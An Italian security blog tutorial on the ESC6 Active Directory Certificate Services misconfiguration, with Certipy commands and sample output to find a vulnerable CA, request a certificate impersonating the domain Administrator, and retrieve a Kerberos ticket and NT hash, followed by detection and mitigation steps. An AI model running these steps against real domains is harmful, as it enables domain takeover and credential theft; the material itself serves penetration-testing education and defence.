windows

ESC6 ADCS Privilege Escalation: SAN Injection tramite CA Flag (Certipy Exploit)

ESC6 ADCS Privilege Escalation: SAN Injection tramite CA Flag (Certipy Exploit)

ESC6 ADCS Privilege Escalation: sfruttare il flag EDITF_ATTRIBUTESUBJECTALTNAME2 sulla CA per iniettare SAN arbitrari e impersonare utenti Active Directory con Certipy.

  • Pubblicato il 2026-03-07
  • Tempo di lettura: 3 min

ESC6 è una tecnica di Active Directory Privilege Escalation tramite AD CS che non colpisce i template ma direttamente la Certificate Authority.

Quando la CA ha attivo il flag EDITF_ATTRIBUTESUBJECTALTNAME2, gli utenti possono specificare Subject Alternative Name (SAN) arbitrari nelle richieste di certificato. Questo comportamento agisce come un override globale della CA, permettendo di inserire UPN o SID personalizzati anche su template che normalmente non lo consentirebbero.

Nelle infrastrutture moderne patchate (post maggio 2022) ESC6 da solo non è sufficiente per impersonare altri utenti. Deve essere combinato con ESC9 ADCS o ESC16 ADCS, che rimuovono la SID Security Extension dal certificato.


Quando ESC6 ADCS È Sfruttabile #

ESC6 è possibile quando:

  • La CA ha il flag EDITF_ATTRIBUTESUBJECTALTNAME2 attivo
  • Gli utenti possono fare enrollment su almeno un template con Client Authentication
  • L’ambiente è:
    • non patchato, oppure
    • combinato con ESC9 o ESC16

Identificazione con Certipy #

Certipy rileva ESC6 durante l’enumerazione della CA.

bash
certipy find -u 'user@corp.local' -p 'Password123' -dc-ip 10.0.0.100 -vulnerable -enabled -stdout

Output tipico:

text
Certificate Authorities
  CA Name                             : CORP-CA
  DNS Name                            : CA.CORP.LOCAL
  User Specified SAN                  : Enabled
  Request Disposition                 : Issue

  [+] User Enrollable Principals      : CORP.LOCAL\Authenticated Users

  [!] Vulnerabilities
    ESC6                              : Enrollee can specify SAN.

Indicatori chiave:

  • User Specified SAN : Enabled
  • ESC6 : Enrollee can specify SAN

Exploit ESC6 ADCS con Certipy #

Il caso più realistico è ESC6 + ESC9 oppure ESC6 + ESC16.

L’attaccante richiede un certificato inserendo nel SAN:

  • UPN dell’utente target
  • SID dell’utente target

Certipy formatta automaticamente il SID come:

text
URL=tag:microsoft.com,2022-09-14:sid:<VALUE>

Step 1 — Richiedi il certificato con SAN malevolo #

bash
certipy req \
    -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
    -ca 'CORP-CA' -template 'ESC9' \
    -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'

Output:

text
[*] Requesting certificate via RPC
[*] Request ID is 1
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-...-500'
[*] Saving certificate and private key to 'administrator.pfx'

Il certificato contiene:

  • UPN Administrator
  • SID Administrator

Step 2 — Autenticazione #

bash
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'

Output:

text
[*] Certificate identities:
[*]     SAN UPN: 'administrator@corp.local'
[*]     SAN URL SID: 'S-1-5-21-...-500'

[*] Trying to get TGT...
[*] Got TGT

[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@corp.local'

Risultato:

  • TGT Kerberos
  • NT hash Administrator
  • accesso completo al dominio

ESC6 Standalone (DC patchati) #

Se ESC9 e ESC16 non sono presenti, l’attacco fallisce perché il certificato include anche la SID Security Extension dell’attaccante.

Certipy mostrerà:

text
[!] Conflicting SIDs found in certificate:
[!]     SAN URL:            'S-1-5-21-...-500'
[!]     Security Extension: 'S-1-5-21-...-1106'
[!] Windows will use the security extension SID

E l’autenticazione fallirà.


Detection ESC6 ADCS #

Controlla il flag sulla CA:

bash
certutil -getreg policy\EditFlags

Indicatori:

  • EDITF_ATTRIBUTESUBJECTALTNAME2
  • Event ID 4886
  • Event ID 4887

Mitigation ESC6 ADCS #

Disabilita il flag sulla CA:

bash
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc
net start certsvc

Misure aggiuntive:

  • abilita StrongCertificateBindingEnforcement = 2
  • limita enrollment sui template
  • monitora SAN nelle richieste certificato

FAQ — ESC6 ADCS #

Cos’è ESC6 in ADCS? #

ESC6 è una configurazione errata della Certificate Authority che permette agli utenti di inserire SAN arbitrari nelle richieste di certificato.

ESC6 funziona da solo? #

No negli ambienti moderni. Deve essere combinato con:

Qual è la differenza tra ESC6 e ESC1? #

ESC1 è una vulnerabilità del template. ESC6 è una vulnerabilità della CA.


Key Takeaway: se la CA permette SAN arbitrari (EDITF_ATTRIBUTESUBJECTALTNAME2), un attaccante può inserire UPN e SID nel certificato e impersonare utenti — soprattutto se combinato con ESC9 o ESC16.

ESC6 mostra come una misconfiguration sulla Certificate Authority possa permettere SAN arbitrari nelle richieste di certificato. Per la panoramica completa delle tecniche ADCS leggi la guida: ADCS ESC1–ESC16.
Continua con le escalation successive: ESC7 ADCS · ESC8 ADCS.Se questo contenuto ti è utile puoi supportare HackIta su Supporta.
Vuoi imparare pentesting Active Directory e offensive security 1:1 oppure testare la sicurezza del tuo sito o infrastruttura aziendale? Vai su Servizi HackIta.Riferimenti tecnici:
https://specterops.io/blog/2021/06/17/certified-pre-owned/
https://github.com/ly4k/Certipy
https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/

#ad #adcs #certipy #esc

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.